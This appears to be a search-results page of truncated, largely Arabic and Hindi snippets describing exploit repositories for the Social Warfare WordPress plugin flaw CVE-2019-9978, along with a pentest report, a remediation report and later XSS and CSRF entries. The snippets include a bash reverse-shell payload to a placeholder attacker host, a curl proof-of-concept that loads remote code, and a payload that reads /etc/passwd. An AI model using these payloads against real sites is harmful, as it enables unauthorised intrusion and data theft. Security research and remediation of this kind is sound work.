139 matches found
CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE
CVE-2019-9978 - تنفيذ الأكواد عن بُعد RCE في إضافة Social Warfare لـ WordPress يحتوي هذا المستودع على استغلال Python عملي لـ CVE-2019-9978، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في إضافة Social Warfare لـ WordPress الإصدار system"bash -c \"bash -i & /dev/tcp/ATTACKERIP/LISTENPORT 0&1\""' wi...
CVE-2019-9978
CVE-2019-9978 - ثغرة تنفيذ أكواد عن بعد في إضافة Social Warfare لووردبريس قبل الإصدار 3.5.3 تنفيذ أكواد عن بعد في إضافة Social Warfare قبل الإصدار 3.5.3 لووردبريس. لا يتطلب هذا الإثبات PoC تشغيل خادم HTTP إضافي. فقط قم بإدخال عنوان IP المحلي والمنفذ المطلوب وسيقوم الاستغلال بإنشاء خادم في خيط خاص...
CVE-2019-9978
CVE-2019-9978 - ثغرة تنفيذ الأكواد عن بُعد RCE في إضافة Social Warfare لـ Wordpress تنفيذ أكواد عن بُعد RCE في إضافة Social Warfare لـ Wordpress دون أي مصادقة مسبقة إثبات المفهوم curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php...
CVE-2019-9978
CVE-2019-9978 - ثغرة تنفيذ الأوامر عن بعد في إضافة Social Warfare لووردبريس system'cat /etc/passwd' ✅ الخطوة 2 – تشغيل خادم HTTP ببايثون استخدم بايثون لخدمة حمولتك: python3 -m http.server 8000 هذا سيجعل ملف payload.txt متاحًا على: http://:8000/payload.txt ✅ الخطوة 3 – تشغيل الاستغلال python3...
CVE-2019-9978_Exploit
استغلال CVE-2019-9978 Social WarFare Plugin =3.5.2 تنفيذ التعليمات البرمجية عن بُعد...
CVE-2019-9978
CVE-2019-9978 CVE-2019-9978 - PoC RCE في إضافة Social WarFare system'cat /etc/passwd' احفظها باسم الملف: payload.txt ثم ارفعها على خادم. يجب أن يبدو الرابط على الشكل: https://yoursite.com/payload.txt. أخيرًا، زود الخيارين --target و --payload-uri: $ python cve-2019-9978.py --target...
MegaQuagga_Pentesting_Report
मेगाक्वागा पेंटेस्टिंग रिपोर्ट इस भंडार में वर्डप्रेस वातावरण के विरुद्ध किया गया एक पूर्ण वेब एप्लिकेशन पेंटेस्टिंग परीक्षण शामिल है। मूल्यांकन में भेद्यता खोज, शोषण, शोषणोत्तर, और वास्तविक-विश्व हमले के प्रभाव का दस्तावेज़ीकरण शामिल है। 🔍 परियोजना अवलोकन लक्ष्य: वर्डप्रेस वातावरण जिसमें संवेदनश...
CVE-2019-9978
إضافة Social Warfare لـ Wordpress 3.5.2 تنفيذ الأوامر عن بُعد Wordpress Social Warfare تنفيذ الأوامر عن بُعد رفع شيل آلي التاريخ: مارس 2019 رابط التحميل: https://wordpress.org/plugins/social-warfare/ المرجع: https://wpvulndb.com/vulnerabilities/9259 الإصدار: CVE: 2019-9978 الاستخدام: python...
CVE-2019-9978-RCE-PoC
CVE-2019-9978 RCE PoC – استغلال إضافة Social Warfare لووردبريس تضمين ملفات عن بُعد غير مصادق RFI إلى تنفيذ أكواد عن بُعد RCE 📌 الوصف يحتوي هذا المستودع على إثبات مفهوم PoC مبني على بايثون يوضح استغلال CVE-2019-9978 ، وهي ثغرة حرجة في إضافة Social Warfare الخاصة بووردبريس. تسمح الثغرة لـمهاجم غير...
CVE-2019-9978-Social-Warfare-WordPress-RCE
🚀 CVE-2019-9978 – ثغرة RCE في إضافة Social Warfare لووردبريس ⚠️ إخلاء مسؤولية: هذا المستودع مخصص للاختبارات الأمنية التعليمية والمصرّح بها فقط. استخدمه فقط على أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به غير قانوني. 📋 نظرة عامة الخاصية| القيمة ---|--- معرّف CVE|...
Vuln_Remediation_MegaQuagga
VulnRemediationMegaQuagga MegaQuagga प्रकाशन के लिए सुधार रिपोर्ट, जो प्रगतिशील रक्षात्मक परतों के माध्यम से CVE-2019-9978 के शमन को मान्य करती है। इसमें रिवर्स प्रॉक्सी सम्मिलन, ModSecurity WAF तैनाती, Graylog SIEM एकीकरण, और pfSense WAN और LAN इंटरफेस पर बहु-चरणीय Wireshark PCAP विश्लेषण के...
CVE-2019-9978
CVE-2019-9978 إضافة ووردبريس Social Warfare ثغرة RCE 3.5.3 🐞 محاكاة مصغرة من الإضافة المعرضة للثغرة واستغلالها 🥰 تثبيت الإضافة المعرضة للثغرة تثبيت التبعيات: docker-compose build تشغيل حاويات الخادم المعرضة للخطر والمهاجم docker-compose up أو docker-compose up -d إيقاف الخوادم docker-compose down...
CVE-2019-9978
CVE-2019-9978 – إثبات المفهوم PoC PoC وظيفي للثغرة CVE-2019-9978 ، التي تؤثر على الإضافة Social Warfare = 3.5.2، مما يسمح بتنفيذ الأكواد عن بُعد Remote Code Execution RCE في ووردبريس. 📌 الوصف يستغل هذا الإكسبلوit المعلمة swpdebug=loadoptions لإجبار تحميل حمولة عن بُعد، مما يسمح بتنفيذ الأوامر على...
Exploit for Cross-site Scripting in Warfareplugins Social_Warfare
!GeminiGeneratedImagea1skbua1skbua1skpictures\GeminiGener...
Exploit for Cross-site Scripting in Warfareplugins Social_Warfare
...
Exploit for Cross-site Scripting in Warfareplugins Social_Warfare
CVE-2...
CVE-2023-4842
The Social Sharing Plugin - Social Warfare plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'socialwarfare' shortcode in versions up to, and including, 4.4.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for...
CVE-2024-34825
Cross-Site Request Forgery CSRF vulnerability in Warfare Plugins Social Warfare.This issue affects Social Warfare: from n/a through 4.4.5.1...
